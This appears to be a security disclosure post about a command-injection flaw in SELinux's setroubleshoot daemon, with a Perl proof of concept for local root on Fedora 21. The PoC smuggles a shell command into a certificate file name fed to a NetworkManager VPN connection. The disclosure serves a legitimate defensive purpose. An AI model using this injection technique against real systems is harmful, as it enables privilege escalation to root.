setroubleshoot tries to find out which rpm a particular
file belongs to when it finds SELinux access violation reports.
The idea is probably to have convenient reports for the admin
which type enforcement rules have to be relaxed. setroubleshoot
runs as root (although in its own domain). In util.py
we have:

266 def get_rpm_nvr_by_file_path_temporary(name):
267     if name is None or not os.path.exists(name):
268         return None
269
270     nvr = None
271     try:
272         import commands
273         rc, output = commands.getstatusoutput("rpm -qf '%s'" % name)
274         if rc == 0:
275             nvr = output
276     except:
277         syslog.syslog(syslog.LOG_ERR, "failed to retrieve rpm info for %s" %     name)
278     return nvr

(and other similar occurences)

So. Yes, thats correct: The SELinux system that is only there to protect you,
passes attacker controlled data to sh -c (https://docs.python.org/2/library/commands.html)
inside a daemon running as root. Sacken lassen...

I attached a PoC which uses networkmanager's openvpn plugin to execute
arbitraty commands by triggering an access violation to a pathname
which contains shell commands.

The setroubleshootd_t domain has quite a lot of allowed rules and transitions,
so this can clearly count as privilege escalation. Furthermore a lot
of admins run their system in permissive mode (full root) even when
its shipped enforcing by default.

Also note that there are potentially remote vectors, if attackers
can control part of the filenames being created (web uploads, git, scp, ftp etc).

Sebastian

PS: I am all for SELinux but theres something on the wrong way. I counted
the LOC, and the core SELinux (kernel) has a smaller codebase than whats
framed around in python, running as root and mangling attacker controlled input.
IOW, the system that wants to protect you has fewer code enforcing the rules
than code that potentially blows up your system. And that code is python,
so let alone all the python modules and interpreter hat can have bugs on its own.
Driving such a lane _can only lead to abyss_. And I am not saying that evil
powers are creating an overly complex system to better hide their bugdoors
within.

PPS: bug-logo will follow :)

--

~ perl self.pl
~ $_='print"\$_=\47$_\47;eval"';eval
~ krahmer () suse de - SuSE Security Team

#!/usr/bin/perl

#
# Fedora21 setroubleshootd local root PoC
#
# (C) 2015 Sebastian Krahmer
#
# - requires polkit authorization to add/mod VPN connections
#   to NetworkManager (default on desktop user)
# - after execution of this script, which adds appropriate
#   NM connection entries, try
#
#  $ nmcli c up vpn-FOOBAR
#
# a couple of times, until you see:
#
# logger[4062]: uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:setroubleshootd_t:...
#
# in the journalctl logs
#
# PS: I know in advance what the SELinux developers will say... :p
#
# I say: lulz!

# create a pathname that setroubleshootd will eventually
# query sh -c { rpm -qf ... with, fucking up ' escaping. So the
# embedded pathname is then evaluated as command
#
# There goes your NSA-grade SELinux security!!!

$file = "/tmp/foo.pem';`id|logger`;echo '";
open(O, ">", $file) or die $!;
close O;

# add connection
system("nmcli c add type vpn ifname FOOBAR vpn-type openvpn");
open(O,"|nmcli c edit vpn-FOOBAR") or die $!;

print O "set vpn.data ca = /tmp/foo.pem';`id|logger`;echo ', password-flags = 1, connection-type = password, remote =
1.2.3.4, username = FOOBAR\n";
print O "set vpn.secrets password=1\nsave\nquit\n";
close(O);

print "Now do 'nmcli c up vpn-FOOBAR' and watch logs.\n";